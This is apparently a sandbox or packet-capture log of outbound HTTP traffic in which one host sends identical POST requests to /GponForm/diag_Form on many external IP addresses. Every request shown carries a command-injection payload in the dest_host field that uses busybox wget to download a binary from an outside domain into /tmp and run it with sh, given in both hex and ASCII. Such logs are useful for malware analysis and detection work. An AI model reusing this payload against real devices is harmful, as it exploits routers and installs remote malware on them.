XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	34220	202.13.131.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179225922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	43526	42.19.2.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179256916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	39054	202.221.126.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179291964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	41822	5.180.129.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179352045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	37524	212.165.221.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179361105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	56156	5.102.6.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179419041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	51544	94.194.6.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179431915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	59912	79.44.7.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179500103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	34134	37.219.94.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179538965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	41214	94.156.95.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179543972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	41284	118.89.161.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179567099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	33934	79.93.139.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179614067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	54572	94.1.116.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179637909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	54468	109.208.54.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179734945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	47704	202.224.139.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179734945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	40168	212.69.114.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179755926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	41030	118.7.199.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179789066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	51582	42.85.42.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179792881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	46878	118.235.71.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179824114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	60372	212.244.67.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179857016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	34356	123.77.122.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179909945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	33080	212.19.0.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179985046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	43538	37.38.94.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180041075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	41156	123.132.151.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180074930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	37516	210.120.100.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180074930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	59294	148.203.187.229	443

Timestamp	Bytes transferred	Direction	Data
